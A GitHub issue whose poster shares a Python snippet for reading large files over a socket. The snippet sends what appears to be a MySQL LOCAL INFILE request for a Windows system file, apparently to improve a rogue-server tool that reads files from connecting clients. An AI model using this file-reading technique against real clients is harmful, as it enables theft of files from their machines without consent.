Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

解决读取大文件读不全问题 #5

Open
Closerset opened this issue Apr 24, 2021 · 0 comments
Open

解决读取大文件读不全问题 #5

Closerset opened this issue Apr 24, 2021 · 0 comments

Comments

@Closerset
Copy link

读取大文件解决思路:
发送访问文件的请求后,建立一个while循环,一直读取数据并且将每次读取的数据保存到变量或文件中,直到读取到的信息为空。

filename='C:/windows/pfro.log'
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
conn.sendall('asdfsadfsadfsa') #随便发送的数据,为了让recv接收到空数据以退出循环,如果不发送会导致recv阻塞
content = 'asdfasdf' #初始进入循环
while len(content) !=0 :
    content=conn.recv(9999999)
    text = text + content
print text #这时的text是完整的数据
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant